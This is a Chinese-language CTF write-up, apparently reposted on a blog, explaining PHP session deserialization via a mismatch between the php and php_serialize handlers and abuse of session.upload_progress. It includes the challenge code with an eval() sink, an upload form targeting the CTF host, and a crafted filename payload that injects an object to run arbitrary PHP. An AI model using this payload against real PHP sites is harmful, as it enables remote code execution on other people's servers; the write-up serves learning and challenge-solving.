如何从session角度学习反序列化

本篇文章给大家分享的是有关如何从session角度学习反序列化,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

下面是题目给出的源码

  1. <?php

  2.    // A webshell is wait for you

  3.    ini_set('session.serialize_handler', 'php');

  4.    session_start();

  5.    class OowoO {

  6.        public $mdzz;

  7.        function __construct() {

  8.            $this->mdzz = 'phpinfo();';

  9.        }

  10.        function __destruct() {

  11.            eval($this->mdzz);

  12.        }

  13.    }

  14.    if(isset($_GET['phpinfo'])) {

  15.        $m = new OowoO();

  16.    }

  17.    else {

  18.        highlight_string(file_get_contents( 'index.php'));

  19.    }

  20. ?>

前言

题目直接给出了 phpinfo 信息,作为 CTF 的题来说,一定有其特别的意义。

另外,在实战中也是重要的信息泄露,

遇到这种情况,可直接拿下来与默认的phpinfo 进行文件对比,或许可以迅速找到突破口。

困境

看到 construct() 和 __destruct() 两个魔术方法,极有可能是反序列化的题。其中,destruct() 中有

  1. eval($this->mdzz);

如果 $this->mdzz 可控的话,这就是一个明显的 webshell 了,可惜 mdzz 在构造函数中就限死了,而且这里并没有变量覆盖的漏洞,否则也可以打一波,陷入困境。

有这么方便的 eval() 在这里,能不能绕过构造函数,直接执行我们需要的命令呢?

此处必有蹊跷。

  1. ini_set('session.serialize_handler', 'php');

知识点

1.PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患:https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

如何从session角度学习反序列化

phpinfo 中可以看到,PHP 反序列化时可以使用的几种方法。

平时实验过程中,也可以用这个语句进行方法指定。

  1. session_start([

  2.    'serialize_handler' => 'php_serialize'

  3. ])

在设置 session 和读取 session 两个阶段中,若使用了不同的序列化方法,将产生任意对象注入,进而导致反序列化漏洞。


  1. ;

  1. 存储时使用 php_serialize -->

  2. a:1:{s:4:"test";s:20:"|O:8:"stdClass":0:{}";}

  3. 反序列化使用 php -->

  4. // var_dump($_SESSION);

  5. array(1) {

  6.    ["a:1:{s:4:"test";s:20:""]=>

  7.        object(stdClass)#1 (0) {

  8.    }

  9. }

PHP 获取到 session 字符串后,就开始查找第一个 |(竖线),用竖线将字符串分割成“键名”和“键值”, 并对“键值”进行反序列化。但如果这次反序列化失败,就放弃这次解析,再去找下一个竖线,执行同样的操作,直到成功。

然而到这里还是没解决 mdzz 不可控的问题,接下来引入第二个知识点。

2.上传进度支持(Upload progress in sessions)

正常用法参见 example #1:

http://php.net/manual/zh/session.upload-progress.php,配合 Ajax 就能显示上传进度。

利用此法可达到对 session 写入数据的效果,从而使得 $mdzz 可控,可参照 有趣的 php 反序列化总结:

http://www.91ri.org/15925.html

当一个上传在处理中,同时 post 一个与 ini 设置的 session.uploadprogress.name 同名变量时,php 检测到这种 post 请求时就会在 $SESSION 中添加一组数据,所以可通过 session.upload_progress 来设置 session。

下面是部分参数说明

session.uploadprogress.enabled[=1] : 是否启用上传进度报告(默认开启)session.uploadprogress.cleanup[=1] : 是否在上传完成后及时删除进度数据(默认开启, 推荐开启).session.uploadprogress.prefix[=uploadprogress] : 进度数据将存储在_SESSION[session.uploadprogress.prefix . POST[session.uploadprogress.name]] session.uploadprogress.name[=PHPSESSIONUPLOADPROGRESS] :  如果 POST[session.uploadprogress.name]没有被设置, 则不会报告进度.session.uploadprogress.freq[=1%] : 更新进度的频率(已经处理的字节数), 也支持百分比表示’%’. session.uploadprogress.min_freq[=1.0] : 更新进度的时间间隔(秒级)

回到本题,查看 phpinfo, session.uploadprogress.enabled 打开,并且session.uploadprogress.cleanup关闭。

开干

构造一个表单


<!DOCTYPE html>

<html>

<body>

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />

<input type="file" name="file" />

<input type="submit" value="submit" />

</form>

</body>

</html>

如果不指定,PHP 将默认使用 “php“ 作为 session 序列化的方法,payload 及结果如下:

如何从session角度学习反序列化PS:不用纠结 Content-Type,这个对解题没有影响,重点是加入/,防止 " 被转义。


filename="|O:5:/"OowoO/":1:{s:4:/"mdzz/";s:19:/"print_r($_SESSION);/";}"

Array (

[a:1:{s:24:"upload_progress_12312131";a:5:{s:10:"start_time";i:1551019950;s:14:"content_length";i:434;s:15:"bytes_processed";i:434;s:4:"done";b:1;s:5:"files";

a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:55:"] 

=> OowoO Object (

[mdzz] => print_r($_SESSION);

)

)

根据 php 手册,存入 session 里的形式是这样的,由此看出 field_name 也可以,所以不一定要用 filenam


$_SESSION["upload_progress_123"] = array(

"start_time" => 1234567890,   // The request time

"content_length" => 57343257, // POST content length

"bytes_processed" => 453489,  // Amount of bytes received and processed

"done" => false,              

// true when the POST handler has finished, successfully or not

"files" => array(

0 => array(

"field_name" => "file1",       // Name of the <input/> field

// The following 3 elements equals those in $_FILES

"name" => "foo.avi",

"tmp_name" => "/tmp/phpxxxxxx",

"error" => 0,

"done" => true,

// True when the POST handler has finished handling this file

"start_time" => 1234567890, 

// When this file has started to be processed

"bytes_processed" => 57343250, 

// Amount of bytes received and processed for this file

)

)

)

拿 flag 的老套路就不多说了,把 mdzz 里的值换成你需要执行的操作即可。

以上就是如何从session角度学习反序列化,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。

原创文章,作者:carmelaweatherly,如若转载,请注明出处:https://blog.ytso.com/222583.html

(0)
上一篇 2022年1月6日
下一篇 2022年1月6日

相关推荐

发表回复

登录后才能评论